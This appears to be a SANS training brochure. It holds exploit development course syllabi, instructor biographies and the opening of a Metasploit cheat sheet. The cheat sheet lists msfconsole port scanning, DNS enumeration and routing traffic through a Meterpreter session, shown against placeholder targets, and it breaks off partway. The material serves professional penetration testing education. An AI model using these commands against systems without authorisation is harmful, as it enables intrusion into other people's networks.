660.4 HANDS ON: Exploiting Linux for Penetration Testers

Day four begins by walking through memory from an exploitation perspective as well as introducing x86 assembler and linking and loading. Processor registers are directly manipulated by testers and must be intimately understood. Disassembly is a critical piece of testing and will be used throughout the remainder of the course. The material will focus on techniques that are critical to performing penetration testing on Linux applications.

Topics:
- Stack and Dynamic Memory Management and Allocation on the Linux OS
- Disassembling a Binary and Analyzing x86 Assembly Code
- Performing Symbol Resolution on the Linux OS
- Identifying Vulnerable Programs
- Code Execution Reduction and Memory Leaks
- Return Oriented Programming (ROP)
- Identifying and Analyzing Stack-Based Overflows on the Linux OS
- Performing Return-to-libc (re2libc) Attacks on the Stack
- Defeating Stack Protection on the Linux OS
- Defeating ASLR on the Linux OS

660.5 HANDS ON: Exploiting Windows for Penetration Testers

On day five we start off with covering the OS security features (ASLR, DEP, etc.) added to the Windows OS over the years, as well as Windows specific constructs, such as the process environment block (PEB), structured exception handling (SEH), thread information block (TIB), and the Windows API. Differences between Linux and Windows will be covered. These topics are critical in assessing Windows-based applications.

Topics:
- The State of Windows OS Protections on XP, Vista, 7, Server 2003 and 2008
- Understanding Common Windows Constructs
- Stack Explosion on Windows
- Defeating OS protections added to Windows
- Dynamic and Static Fuzzing on Windows Applications or Processes
- Creating a Metasploit Module
- Advanced Stack-Smashing on Windows
- Return Oriented Programming (ROP)
- Windows 7 and Windows 8: Porting Metasploit Modules
- Client-side Exploitation, Windows and Linux Shellcode

660.6 HANDS ON: Capture the Flag

This day will serve as a real-world challenge for students, requiring them to utilize skills obtained throughout the course, think outside the box, and solve simple-to-complex problems. In this offensive exercise, challenges range from local privilege escalation to remote exploitation on both Linux and Windows systems, as well as networking attacks and other challenges related to the course material.

For course updates, prerequisites, special notes, or laptop requirements, visit sans.org/courses

For Penetration Testing resources, visit pen-testing.sans.org

sans.org
301-654-SANS (7267)

sans.org/cyber-guardian
sans.edu

sans.org/giac
sans.org/sec660
SEC760: Advanced Exploit Development for Penetration Testers

Vulnerabilities in modern operating systems such as Microsoft Windows 7/8, Server 2012, and the latest Linux distributions are often very complex and subtle. Yet, they could expose organizations to significant attacks, undermining their defenses when wielded by very skilled attackers. Few security professionals have the skill set to discover let alone even understand at a fundamental level why the vulnerability exists and how to write an exploit to compromise it. Conversely, attackers must maintain this skill set regardless of the increased complexity. SEC760: Advanced Exploit Development for Penetration Testers teaches the skills required to reverse engineer 32-bit and 64-bit applications, perform remote user application and kernel debugging, analyze patches for one-day exploits, and write complex exploits, such as use-after-free attacks, against modern software and operating systems.

Some of the skills you will learn in SEC760 include:

- How to write modern exploits against the Windows 7 and 8 operating systems
- How to perform complex attacks such as use-after-free, Kernel exploit techniques, one-day exploitation through patch analysis, and other advanced topics
- The importance of utilizing a Security Development Lifecycle (SDL) or Secure SDLC, along with Threat Modeling
- How to effectively utilize various debuggers and plug-ins to improve vulnerability research and speed
- How to deal with modern exploit mitigation controls aimed at thwarting success and defeating determination

You Will Be Able To

- Discover zero-day vulnerabilities in programs running on fully-patched modern operating systems
- Create exploits to take advantage of vulnerabilities through a detailed penetration testing process
- Use the advanced features of IDA Pro and write your own IDC and IDA Python scripts
- Perform remote debugging of Linux and Windows applications
- Understand and exploit Linux heap overflows
- Write Return Oriented Shellcode
- Perform patch diffing against programs, libraries, and drivers to find patched vulnerabilities
- Perform Windows heap overflows and use-after-free attacks
- Use precision heap sprays to improve exploitability
- Perform Windows Kernel debugging up through Windows 8 64-bit
- Jump into Windows kernel exploitation

Who Should Attend

- Senior network and system penetration testers
- Secure application developers (C & C++)
- Reverse-engineering professionals
- Senior incident handlers
- Senior threat analysts
- Vulnerability researchers
- Security researchers

What You Will Receive

- You will receive various preconfigured “NIX virtual machines; however, you are required to bring the aforementioned Windows VMs
- You will receive various tools on a course DVD that are required for use in class

Course Day Descriptions

760.1 HANDS-ON: Threat Modeling, Reversing and Debugging with IDA

Many penetration testers, incident handlers, developers, and other related professionals lack reverse engineering and debugging skills. This is a different skill than reverse engineering malicious software. As part of the Security Development Lifecycle (SDL) and Secure SDLC, developers and exploit writers should have experience using IDA Pro to debug and reverse their code when finding bugs or when identifying potential risks after static code analysis or fuzzing.

Topics:
- Security Development Lifecycle (SDL); Threat Modeling; Why IDA is the #1 tool for reverse engineering; IDA Navigation; IDA Python and the IDA IDC; IDA Plug-ins and extensibility; Local application debugging with IDA; Remote application debugging with IDA

760.2 HANDS-ON: Advanced Linux Exploitation

The ability to progress into more advanced reversing and exploitation requires an expert-level understanding of basic software vulnerabilities, such as those covered in SEC660. Heap overflows serve as a rite of passage into modern exploitation techniques. This day is aimed at bridging this gap of knowledge in order to inspire thinking in a more abstract manner; necessary for continuing further with the course. Linux can sometimes be an easier operating system to learn these techniques, serving as a productive gateway into Windows.

Topics:
- Linux heap management, constructs, and environment; Navigating the heap; Abusing macros such as unlink() and frontend(); Function pointer overwrites; Format string exploitation; Abusing custom doubly-linked lists; Defeating Linux exploit mitigation controls; Using IDA for Linux application exploitation

760.3 HANDS-ON: Patch Diffing, One-Day Exploits, and Return-Oriented Shellcode

It is well known that attackers download patches as soon as they are distributed by vendors such as Microsoft in order to find newly patched vulnerabilities. Often, vulnerabilities are disclosed privately, or even discovered in-house, allowing the vendor to more silently patch the vulnerability. This also allows the vendor to release limited or even no details at all about a patched vulnerability. Attackers are well aware of this and quickly work to find the patched vulnerability in order to take control of unpatched systems. This technique is also performed by incident handlers, IDS administrators and vendors, vulnerability and penetration testing framework companies, government entities, and others.

Topics:
- The Microsoft patch management process and Patch Tuesday; Obtaining patches and patch extraction; Binary diffing with BinDiff, patchdiff2, turbodiff, and darungrim; Visualizing code changes and identifying fixes; Reversing 32-bit and 64-bit applications and modules; Triggering patched vulnerabilities; Writing one-day exploits; Handling modern exploit mitigation controls

760.4 HANDS-ON: Windows Kernel Debugging and Exploitation

The Windows Kernel is very complex and intimidating. This day aims to help you understand the Windows kernel and the various exploit mitigations added into recent versions. You will perform Kernel debugging on various versions of the Windows OS, such as Windows 7 and 8, and learn to deal with its inherent complexities. Exercises will be performed to analyze vulnerabilities, look at exploitation techniques, and get a working exploit.

Topics:
- Understanding the Windows Kernel; Navigating the Windows Kernel; Modern Kernel protections; Debugging the Windows Kernel; WinDbg: Analyzing Kernel vulnerabilities and Kernel vulnerability types; Kernel exploitation techniques

760.5 HANDS-ON: Windows Heap Overflows and Client-Side Exploitation

The focus of this section is primarily on Windows browser and client-side exploitation. You will learn to analyze C++ vftable overflows, one of the most common mechanisms used to compromise a modern Windows system. Many of these vulnerabilities are discovered in the browser and therefore, browser techniques will be taught, such as modern heap spraying to deal with IE 8/9/10 and other browsers such as Firefox and Chrome. You will work towards writing exploits in the Use-After-Free/Dangling Pointer vulnerability class.

Topics:
- Windows heap management, constructs, and environment; Browser-based and client-side exploitation; Remedial heap spraying; Understanding C++ vftable/behavior; Modern heap spraying to determine address predictability; Use-After-Free attacks and dangling pointers; Determining exploitability; Defeating ASLR, DEP, and other common exploit mitigation controls

760.6 HANDS-ON: Capture the Flag

Day 6 will serve as a capture the flag day with different types of challenges from material taught throughout the week.

Topics:
- Test your reverse engineering, bug discovery, and exploit-writing skills in a full day of capture the flag exercises!
How Are You Protecting Your

Data?

Network?

Systems?

Critical Infrastructure?

The SANS Penetration Testing Community provides a variety of free resources. Interact with your fellow professionals and take advantage of the numerous Cheat Sheets, Webcasts, and Papers available.

Website
pen-testing.sans.org

Pen Test Blog
pen-testing.sans.org/blog

GPWN Mailing List
lists.sans.org/mailman/listinfo/gpwn-list
Interact with other security and Pen Test professionals, sharing ideas and discussing tips and tricks.

Webcasts
pen-testing.sans.org/resources/webcasts
SANS Webcasts are live web broadcasts that allow you to hear a knowledgeable speaker while viewing presentation slides that you download in advance.

Twitter
@pentesttips

Downloads
pen-testing.sans.org/resources/downloads

• Ultimate Pen Test Poster
• Intrusion Discovery Cheat Sheet for Windows
• Intrusion Discovery Cheat Sheet for Linux
• Pen Test Rules of Engagement Worksheet
• And much more!

• Ncat Cheat Sheet
• Misc Pen Test Tools Cheat Sheet
• Pen Test Scope Worksheet
• Windows Command Line Cheat Sheet

Risk management is a top priority. The security of these assets depends on the skills and knowledge of your security team. Don't take chances with a one-size fits all security certification.

Get GIAC certified!

GCIH  GIAC Certified Incident Handler
GMOB  GIAC Mobile Device Security Analyst
GPEN  GIAC Penetration Tester
GWAPT  GIAC Web Application Penetration Tester
GAWN  GIAC Assessing and Auditing Wireless Networks
GXPN  GIAC Exploit Researcher and Advanced Penetration Tester

“GIAC is the only certification that proves you have hands-on technical skills.”
-Christina Ford, Department of Commerce

“GIAC Certification demonstrates an applied knowledge versus studying a book.”
-Alan C, USMC

Learn more about GIAC and how to Get Certified at giac.org
SANS Training Formats

**Live Classroom Training**

**Multi-Course Training Events**
Live Instruction from SANS’ Top Faculty, Vendor Showcase, Bonus Evening Sessions, and Networking with your Peers
sans.org/security-training/by-location/all

**Community SANS**
Live Training in Your Local Region with Smaller Class Sizes
sans.org/community

**OnSite**
Live Training at Your Office Location
sans.org/onsite

**Mentor**
Live Multi-Week Training with a Mentor
sans.org/mentor

**Summit**
Live IT Security Summits and Training
sans.org/summit

**Online Training**

**OnDemand**
E-learning Available Anytime, Anywhere, at your Own Pace
sans.org/ondemand

**vLive**
Online, Evening Courses with SANS’ Top Instructors
sans.org/vlive

**Simulcast**
Attend a SANS Training Event without Leaving Home
sans.org/simulcast

**OnDemand Bundles**
Extend your training with an OnDemand Bundle Including Four Months of E-learning sans.org/ondemand/bundles

---

**What’s Your Next Career Move?**

SANS Technology Institute, an independent subsidiary of SANS, is now accredited by The Middle States Commission on Higher Education!

3624 Market Street | Philadelphia, PA 19104 | 267.285.5000
an institutional accrediting agency recognized by the U.S. Secretary of Education and the Council for Higher Education Accreditation.

Two unique, respected master’s degree programs:

**Master of Science in Information Security Engineering**

**Master of Science in Information Security Management**

*SANS Technology Institute offers key qualities students seek in a cyber master’s program:*

- World-class, cutting-edge technical courses that establish and specialize your skills
- Teaching faculty with an unparalleled reputation for industry leadership, who bring the material to life
- Simulation & group projects that teach students to write, present and persuade effectively
- Flexibility to attend course when and where you need them, either live in classrooms or online from home
- A reputation that helps accelerate career growth – employers will know and respect where you earned your degree

“*It’s great to learn from an organization at the forefront of both academics, and in the field.”*  
-Joseph Faust, MSISE Program

Learn more at sans.edu
info@sans.edu

---
SANS Penetration Testing Instructors

SANS penetration testing instructors are some of the most noted experts in the field of penetration testing, masters of serious black arts dedicated to helping the world improve its security practices. Each is a real-world practitioner who specializes in the subjects they teach. Their instruction is soaked through with their real-world experience in the methods that they teach, the examples they’ve lived, the stories they share, all wrapped up in their excitement in the course material.

Steve Armstrong  SANS Instructor

Steve began working in the security arena in 1994 whilst serving in the UK Royal Air Force. He specialized in the technical aspects of IT security from 1997 onward, and before retiring from active duty, he lead the RAF’s penetration and TEMPEST testing teams. He founded Logically Secure in 2006 to provide specialist security advice to government departments, defence contractors, the online video gaming industry, and both music and film labels worldwide. When not teaching for SANS, Steve provides penetration testing and incident response services for some of the biggest household names in gaming and music media. To relax, Steve enjoys playing Battlefield to loud music and developing collaborative DFIR tools. Twitter: @Nebulator  Blog: logicallysecure.blogspot.co.uk

Mark Baggett  SANS Certified Instructor

Mark Baggett has held a variety of positions in information security for large international and Fortune 1000 companies. He has been a software developer, a network and systems engineer, a security manager, and a CISO. As a CISO, Mark was responsible for policy, compliance, incident response, and all other aspects of information security operations. Mark knows firsthand the challenges that information security professionals face today in selling, implementing, and supporting information security. Mark is the primary consultant and founder of In Depth Defense, Inc which provides incident response and penetration testing services. Today, in his role as the technical advisor to the DoD for SANS, Mark is focused on the practical application of SANS resources in the development of military capabilities. Mark is an active member of the information security community and the founding president of the Greater Augusta ISSA. He holds several certifications, including SANS prestigious GSE.  Blog: www.paulidotcom.com

George Bakos  SANS Certified Instructor

George Bakos has been interested in computer security since the early 1980s when he discovered the joys of BBSs and corporate databases. These days he is a senior engineer for Northrop Grumman’s Cyber Threat Analysis & Intelligence team working to understand what’s going on inside the minds and hearts of his adversaries. He was the developer of Tiny Honeypot and the IDA-Bench intrusion analysis system and was one of the researchers behind the Dartmouth Distributed Honeyynet System. George developed and taught the U.S. Army National Guard’s CERT technical curriculum and ran the NGG’s Information Operations Training and Development Center research lab for two years, fielding and supporting Computer Emergency Response Teams nationwide. Outside the lab, George enjoys the beauties of his home state, Vermont, through skiing, ice and rock climbing, and mountain biking.

Adrien de Beaupre  SANS Certified Instructor

Adrien de Beaupre is a senior Information Security Consultant with Intru-Shun.ca Inc., experienced in penetration testing and incident response. Mr. de Beaupre holds the IS2 Certified Security Professional (GSE), GIAC Web Application Penetration Tester (GWAPT), GIAC Web Application Security Analyst (GWSSA), GCIH, GSEC, and a variety of other professional certifications. As a volunteer member of the SANS Internet Storm Center (sic.sans.edu) he performs incident handling and threat analysis duties. When not geeking out he can be found with his family, or at the dojo.

Christopher Crowley  SANS Certified Instructor

Christopher Crowley has 15 years of industry experience managing and securing networks. He currently works as an independent consultant in the Washington, DC area. His work experience includes penetration testing, computer network defense, incident response, and forensic analysis. Mr. Crowley is the course author for SANS MGTS35 - Incident Response Team Management and holds the GSEC, GCIA, GCIN (gold), GCFE, GPEN, GREM, and CISSP certifications. His teaching experience includes SEC401, SEC503, SEC504, SEC640, SEC675, SEC880, and MGTS35; Apache web server administration and configuration; and shell programming. He was awarded the SANS 2009 Local Mentor of the Year award, which is given to SANS Mentors who excel in leading SANS Mentor Training classes in their local communities. Twitter: @CCrowMontance

Eric Conrad  SANS Principal Instructor

Eric Conrad is lead author of the book The CISSP Study Guide Eric’s career began in 1991 as a UNIX systems administrator for a small oceanographic communications company. He gained information security experience in a variety of industries, including research, education, power, Internet, and health care. He is now president of Backshore Communications, a company focusing on intrusion detection, incident handling, information warfare, and penetration testing. He is a graduate of the SANS Technology Institute with a master of science degree in information security engineering. In addition to the CISSP, he holds the prestigious GIAC Security Expert (GSE) certification as well as the GIAC GPEN, GCIH, GCFA, GAWN, and GSEC certifications.  Twitter: @eric_conrad  Blog: www.ericconrad.com.

Pieter Danhieux  SANS Certified Instructor

Pieter Danhieux is a certified instructor for the SANS Institute, teaching military, government, and private organizations offensive techniques on how to target and assess organizations, systems, and individuals for security weaknesses. He is also one of the founders of the security and hacking conference BRUCON in Belgium, where he has designed and run cyber-intrusion exercises (The Hex Factor) across Europe since 2009 together with a group of talented people. Pieter has more than 10 years of experience in the cyber security space. He was one of the youngest persons ever in Belgium to obtain the Certified Information Systems Security Professional (CISSP) certification. He then obtained the Certified Information Systems Auditor (CISA) and the GIAC Certified Forensics Analyst program (GCFE) and is currently one of the select few people worldwide to hold the GIAC Security Expert (GSE) certification. He currently works at BAE Systemsstrats, Australia’s strongest and most awarded information security team, delivering critical cyber security projects in both the public and private sectors in Australia and South-East Asia. Before that, Pieter worked for seven years at Ernst & Young in Europe and Oceania as one of their information security experts running a team of attack and penetration resources operating in the financial industry and telecommunication space.

Kevin Fiscus  SANS Certified Instructor

Kevin Fiscus is the founder of and lead consultant for Cyber Defense Advisors where he performs security and risk assessments, vulnerability and penetration testing, security program design, policy development and security awareness with a focus on serving the needs of small and mid-sized organizations. Kevin has over 20 years of IT experience and has focused exclusively on information security for the past 12. Kevin currently holds the CISSP, GPEN, GREM, GCFE-Gold, GGA-Gold, GCIA, GAWN, GCWNN, GCSS-Gold, GSEC, SC3, RCIE, and SnortCP certifications and is proud to have earned the top information security certification in the industry, the GIAC Security Expert. Kevin has also achieved the distinctive title of SANS Cyber Guardian for both red team and blue team. Kevin has taught many of SANS most popular classes including SEC401, SEC464, SEC504, SEC542, SEC640, SEC675, FOR508, and MGTS414. In addition to his security work, he is a proud husband and father of two children. Twitter: @kevinbfiscus  LinkedIn: www.linkedin.com/in/kevinbfiscus

SANS.org  301-654-SANS (7267)  pen-testing.sans.org

SANS.org  301-654-SANS (7267)  pen-testing.sans.org
Bryce Galbraith SANS Principal Instructor

As a contributing author of the internationally bestselling book Hacking Exposed: Network Security Secrets & Solutions, Bryce helped bring the secret world of hacking out of the darkness and into the public eye. Bryce has held security positions at global ISPs and Fortune 500 companies, he was a member of Foundstone’s renowned penetration testing team and served as a senior instructor and co-author of Foundstone’s Ultimate Hacking: Hands-On course series. Bryce is currently the owner of Layered Security where he and his team provide specialized vulnerability assessment and penetration testing services for clients. He teaches several of The SANS Institute’s most popular courses and develops curriculum around current topics. He has taught the art of ethical hacking and countermeasures to thousands of IT professionals from a who’s who of top companies, financial institutions, and government agencies around the globe. Bryce is an active member of several security-related organizations, he speaks at numerous conferences, and holds several security certifications and blogs about security issues at blog.layeredsec.com.

Jonathan Ham SANS Certified Instructor

Jonathan is an independent consultant who specializes in large-scale enterprise security issues, from policy and procedure, through staffing and training, to scalable prevention, detection, and response technology and techniques. With a keen understanding of ROI and TCO (and an emphasis on process over products), he has helped his clients achieve greater success for over 12 years, advising both in the public and private sectors, from small startups to the Fortune 500. He’s been commissioned to teach NCIS investigators how to use Snort, performed packet analysis from a facility more than 2000 feet underground, and chartered and trained the CRF for one of the largest U.S. civilian Federal agencies. He has a background in the CISSP, GSEC, GCIA, and GCIH certifications, and is a member of the GIAC Advisory Board. A former combat medic, Jonathan still spends some of his time practicing a different kind of emergency response, volunteering and teaching for both the National Ski Patrol and the American Red Cross.

James Lyne SANS Certified Instructor

Director of EMEA at SANS and director of technology strategy at the security firm Sophos, James comes from a background in cryptography but over the years has worked in a wide variety of security problem domains including anti-malware and hacking. With a wide range of experience working in a technical and a strategic capacity from incident response to forensics with some of the world’s largest and most paranoid organizations, James participates in industry panels, policy groups, and is a frequently-called-upon expert advisor all over the world. James is a frequent guest lecturer and often appears in the media including national TV. As a young spokesperson for the industry James is extremely passionate about talent development and participates in initiatives to identify new talent for the industry and to develop it. Ask James to show you his best geek party trick. Twitter: @jameslyne

Tim Medin SANS Instructor

Tim Medin is a senior technical analyst at Counter Hack, a company devoted to the development of information security challenges for education, evaluation, and competition. Through the course of his career, Tim has performed penetration tests on a wide range of organizations and technologies. Prior to Counter Hack, Tim was a senior security consultant for FishNet Security where the majority of his focus was on penetration testing. He gained information security experience in a variety of industries including previous positions in control systems, higher education, financial services, and manufacturing. Tim regularly contributes to the SANS Penetration Testing Blog (pen-testing.sans.org/blog) and the Command Line Kung Fu Blog (blog.commandlinekungfu.com). He is also project lead for the Laudanum Project, a collection of injectable scripts designed to be used in penetration testing. Twitter: @timmedin

Seth Misenar SANS Principal Instructor

Seth Misenar serves as lead consultant and founder of Jackson, Mississippi-based Context Security, which provides information security though leadership, independent research, and security training. Seth’s background includes network and web application penetration testing, vulnerability assessment, regulatory compliance efforts, security architecture design, and general security consulting. He has previously served as both physical and network security consultant for Fortune 100 companies as well as the HIPAA and information security officer for a state government agency. Prior to becoming a security geek, Seth received a BS in philosophy from Millsaps College, where he was twice selected for a Ford Teaching Fellowship. Also, Seth is not stranger to certifications and thus far has achieved credentials which include, but are not limited to, the following: CISSP, GPE, GWAPT, GSEC, GCIA, GCED, GCFA, and MCSE. Beyond his security consulting practice, Seth is a regular instructor for SANS. He teaches numerous SANS classes, including: SEC401: Security Essentials Bootcamp Style, SEC504: Hacker Techniques, Exploits, and Incident Handling, and SEC542: Web App Penetration Testing and Ethical Hacking. Seth has also served as both virtual mentor and technical director for SANS OnDemand, the online course delivery arm of the SANS Institute. Twitter: @sethmisenar

Larry Pesce SANS Certified Instructor

Larry is a senior security analyst with InGuardians after a long stint in Security and Disaster Recovery in healthcare, performing penetration testing, wireless assessments, and hardware hacking. He also diverts a significant portion of his attention co-hosting the PaulDotCom Security Weekly podcast and likes to tinker with all things electronic and wireless, much to the disappointment of his family, friends, warranties and his second Leatherman Multi-tool. Larry also co-authored Linksys WRVS44G Ultimate Hacking and Using Wireshark and Ethereal by Syngress. Larry is an Extra Class Amateur Radio operator (KB1TNF) and enjoys developing hardware and real-world challenges for the Mid-Atlantic Collegiate Cyber Defense Challenge. Twitter: @haxorthematrix Blog: www.haxorthematrix.com

Mike Poor SANS Senior Instructor

Mike is a founder and senior security analyst for the DC firm InGuardians, Inc. In the past he has worked for Sourcefire as a research engineer and for SANS leading their intrusion analysis team. As a consultant Mike conducts incident response, breach analysis, penetration tests, vulnerability assessments, security audits, and architecture reviews. His primary job focus, however, is in intrusion detection, response, and mitigation. Mike currently holds the GCIA certification and is an expert in network engineering and systems and network and web administration. Mike is an author of the international best selling Smart series of books from Syngress, a member of the Honeynet Project, and a handler for the SANS Internet Storm Center. Twitter: @Mike_Poor

Justin Searle SANS Senior Instructor

Justin Searle is a managing partner of UtilSec, specializing in Smart Grid security architecture design and penetration testing. Justin led the Smart Grid Security Architecture group in the creation of NIST Interagency Report 7628 and played key roles in the Advanced Security Acceleration Project for the Smart Grid (ASAP-SG). He currently leads the testing group at the National Electric Sector Cybersecurity Organization Resources ($NESC), Justin has taught courses in hacking techniques, forensics, networking, and intrusion detection for multiple universities, corporations, and security conferences. In addition to electric power industry conferences, Justin frequently presents at top international security conferences such as Black Hat, DEFCON, OWASP, Nullcon, and AusCERT. Justin co-leads prominent open source projects including the Samurai Web Testing Framework (SamuraiWTF), the Samurai Security Testing Framework for Utilities (SamuraiSTFU), Middler, Yokosol, and Laudanum. Justin has an MBA in International Technology and is a CISSP and GIAC certified Incident Handler (GCIII), Intrusion Analyst (GCIA), and Web Application Penetration Tester (GWAPT).

Dave Shackleford SANS Senior Instructor

Dave Shackleford is the owner and principal consultant of VooDoo Security and a SANS analyst, senior instructor, and course author. He has consulted with hundreds of organizations in the areas of security, regulatory compliance, and network architecture and engineering, and is a VMware vExpert with extensive experience designing and configuring secure virtualized infrastructures. He has previously worked as CSO for Configuresoft, CTO for the Center for Internet Security, and as a security architect, analyst, and manager for several Fortune 500 companies. Dave is the author of the Sybex book Virtualization Security: Protecting Virtualized Environments, as well as the coauthor of Hands-On Information Security from Course Technology. Recently Dave coauthored the first published course on virtualization security for the SANS Institute. Dave currently serves on the board of directors at the SANS Technology Institute and helps lead the Atlanta chapter of the Cloud Security Alliance. Twitter: @daveshackelford Blog: daveshackelford.com

James Shewmaker SANS Certified Instructor

James has over 15 years’ experience in IT. He is one of the first certified GSE-Malware experts. He graduated with a BS in computer science from the University of Idaho. James is a founder and active consultant for Bluetooth Corporation, which focuses on investigations, penetration testing, and analysis. He develops applications and appliances for broadcast radio, Internet, and satellite devices. James also contributes to the FreeBSD project and is a port maintainer. He presents at various security and IT conferences, is a courseware contributor, and is actively involved in the COINS program. Twitter: @jimshew
Raul Siles  **SANS Certified Instructor**

Raul Siles is a founder and senior security analyst with Taddong. His more than 10 years of expertise performing advanced security services and solutions in various worldwide industries include security architecture design and reviews, penetration tests, incident handling, forensic analysis, security assessments, and information security research in new technologies, such as Web applications, wireless, honeynets, virtualization, mobile devices, and VoIP. Raul is one of the few individuals who have earned the GIAC Security Expert (GSE) designation. He is a SANS Institute author and instructor of penetration testing courses, a regular speaker at security conferences, author of security books and articles, and contributes to research and open-source projects. He loves security challenges, is a member of international organizations, such as the Honeynet Project, and is a handler for the Internet Storm Center (ISC). Raul holds a master’s degree in computer science from UPM (Spain) and a postgraduate in security and e-commerce. More information can be found at [www.raulsiles.com](http://www.raulsiles.com). Twitter: @taddong Blog: blog.taddong.com

Stephen Sims  **SANS Senior Instructor**

Stephen Sims is an industry expert with over 15 years of experience in information technology and security. Stephen currently works out of San Francisco as a consultant performing reverse engineering, exploit development, threat modeling, and penetration testing. Stephen has an MS in information assurance from Norwich University and is a course author and senior instructor for the SANS Institute. He is the author of SANS’ only 700-level course, SEC760: Advanced Exploit Development for Penetration Testers, which concentrates on complex heap overflows, patch diffing, and client-side exploits. Stephen is also the lead author on SEC660: Advanced Penetration Testing, Exploits, and Ethical Hacking. He holds the GIAC Security Expert (GSE) certification as well as the CISSP, CISA, Immunity NOP, and many other certifications. In his spare time Stephen enjoys snowboarding and writing music.

Ed Skoudis  **SANS Faculty Fellow**

Ed Skoudis is the founder of Counter Hack, an innovative organization that designs, builds, and operates popular infosec challenges and simulations including CyberCity, NetWars, Cyber Quests, and Cyber Foundations. As director of the CyberCity project, Ed oversees the development of missions which help train cyber warriors in how to defend the kinetic assets of a physical, miniaturized city. Ed’s expertise includes hacker attacks and defenses, incident response, and malware analysis, with over fifteen years of experience in information security. Ed authored and regularly teaches the SANS courses on network penetration testing (SECS40) and incident response (SECS04), helping over three thousand information security professionals each year improve their skills and abilities to defend their networks. He has performed numerous security assessments; conducted exhaustive anti-virus, anti-spyware, Virtual Machine, and IPS research; and responded to computer attacks for clients in government, military, financial, high technology, healthcare, and other industries. Previously, Ed served as a security consultant with InGuardians, International Network Services (INS), Global Integrity, Predictive Systems, SAIC, and Bell Communications Research (Bellcore). Ed also blogs about command line tips and penetration testing. Twitter @edskoudis

John Strand  **SANS Senior Instructor**

John Strand teaches SECS04: Hacker Techniques, Exploits, and Incident Handling; SEC540: Network Penetration Testing and Ethical Hacking; SEC530: Metasploit Kung Fu for Enterprise Pen Testing; and SEC464: Hacker Detection for System Administrators. John is the course author for SEC464: Hacker Detection for System Administrators and the co-author for SECS40: Hacker Techniques, Exploits, and Incident Handling; and SEC800: Metasploit Kung Fu for Enterprise Pen Testing. When not teaching for SANS, John co-hosts PaulDotCom Security Weekly, the world’s largest computer security podcast. He also is also the owner of Black Hills Information Security, specializing in penetration testing and security architecture services. He has presented for the FBI, NASA, the NSA, and at DefCon. In his spare time he writes loud rock music and makes various futile attempts at fly-fishing. Twitter: @strandjs

Peter Szczepankiewicz  **SANS Certified Instructor**

Formerly working with the military, Peter responded to network attacks, and worked with both defensive and offensive red teams. Currently, Peter is a senior security engineer with IBM. People lead technology, not the other way around. He works daily to bring actionable intelligence out of disparate security devices for customers, making systems interoperable. Peter expounds, “Putting together networks only to tear them apart, is just plain fun, and allows students to take the information learned from books and this hands-on experience back to their particular work place.”

Alissa Torres  **SANS Certified Instructor**

Alissa Torres specializes in advanced computer forensics and incident response. Her industry experience includes serving in the trenches as part of the Mandiant Computer Incident Response Team (MCIRT) as an incident handler and working on a internal security team as a digital forensic investigator. She has extensive experience in information security, spanning government, academic, and corporate environments and holds a Bachelors degree from University of Virginia and a Masters from University of Maryland in Information Technology. Alissa has taught as an instructor at the Defense Cyber Investigations Training Academy (DCITA), delivering incident response and network basics to security professionals entering the forensics community. She has presented at various industry conferences and numerous B-Sides events. In addition to being a GIAC Certified Forensic Analyst (GCFE), she holds the GCFA, GPEC, CISSP, EnCE, CFCE, MCT and CIT+. Twitter @sibertor

Johannes Ullrich, Ph.D.  **SANS Senior Instructor**

Dr. Johannes Ullrich is the Dean of Research and a faculty member of the SANS Technology Institute. In November of 2000, Johannes started the DShield.org project, which he later integrated into the Internet Storm Center. His work with the Internet Storm Center has been widely recognized. In 2004, Network World named him one of the 50 most powerful people in the networking industry. Secure Computing Magazine named him in 2005 one of the top-five influential IT security thinkers. His research interests include IPv6, Network Traffic Analysis and Secure Software Development. Johannes is regularly invited to speak at conferences and has been interviewed by major publications, radio as well as TV stations. He is a member of the SANS Technology Institute’s Faculty and Administration as well as Curriculum and Long Range Planning Committee. As chief research officer for the SANS Institute, Johannes is currently responsible for the GIAC Gold program. Prior to working for SANS, Johannes worked as a lead support engineer for a Web development company and as a research physicist. Johannes holds a PhD in Physics from SUNY Albany and is located in Jacksonville, Florida. He also maintains a daily security news summary podcast ([isc.sans.edu/podcast.html](http://isc.sans.edu/podcast.html)) and enjoys blogging about application security ([software-security.sans.org/blog](http://software-security.sans.org/blog)).

Joshua Wright  **SANS Senior Instructor**

Joshua Wright is a senior technical analyst with Counter Hack, a company devoted to the development of information security challenges for education, evaluation, and competition. Through his experiences as a penetration tester, Josh has worked with hundreds of organizations on attacking and defending mobile devices and wireless systems, ethnically disclosing significant product and protocol security weaknesses to well-known organizations. As an open-source software advocate, Josh has conducted cutting-edge research resulting in several software tools that are commonly used to evaluate the security of widely deployed technology targeting WiFi, Bluetooth, and ZigBee wireless systems, smart grid deployments, and the Android and Apple iOS mobile device platforms. As the technical lead of the innovative CyberCity, Josh also oversees and manages the development of critical training and educational missions cyber warriors in the US military, government agencies, and critical infrastructure providers. Twitter: @joswr1ght
**Tools Described on this Sheet**

**Metasploit**
The Metasploit Framework is a development platform for developing and using security tools and exploits.

**Metasploit Meterpreter**
The Meterpreter is a payload within the Metasploit Framework which provides control over an exploited target system, running as a DLL loaded inside of any process on a target machine.

**Metasploit msfpayload**
The msfpayload tool is component of the Metasploit Framework which allows the user to generate a standalone version of any payload within the framework. Payloads can be generated in a variety of formats including executable, Perl script, and raw shellcode.

---

**Metasploit Console Basics (msfconsole)**

<table>
<thead>
<tr>
<th>Search for module:</th>
<th>Show options for the current modules:</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>msf &gt; search [regex]</code></td>
<td><code>msf &gt; show options</code></td>
</tr>
</tbody>
</table>

Specify and exploit to use:  
`set` options:  
`use exploit/[ExploitPath]`  
`msf > set [Option] [Value]`  

Specify a payload to use:  
`set` exploit:  
`msf > set PAYLOAD [PayloadPath]`  
`msf > exploit`

---

**Useful Auxiliary Modules**

**Port Scanner:**

`msf > use auxiliary/scanner/portscan/tcp`

`msf > set RHOSTS 10.10.10.0/24`

`msf > run`

**DNS Enumeration**

`msf > use auxiliary/gather/dns_enum`

`msf > set DOMAIN target.tgt`

`msf > run`

**FTP Server**

`msf > use auxiliary/server/ftp`

`msf > set FTPROOT /tmp/ftproot`

`msf > run`

**Proxy Server**

`msf > use auxiliary/server/socks4`

`msf > run`

Any proxied traffic that matches the subnet of a route will be routed through the session specified by route.

Use proxychains configured for socks4 to route any applications traffic through a Meterpreter session.

---

**Metasploit Meterpreter**

**Base Commands:**

`? / help`: Display a summary of commands  
`exit / quit`: Exit the Meterpreter session  
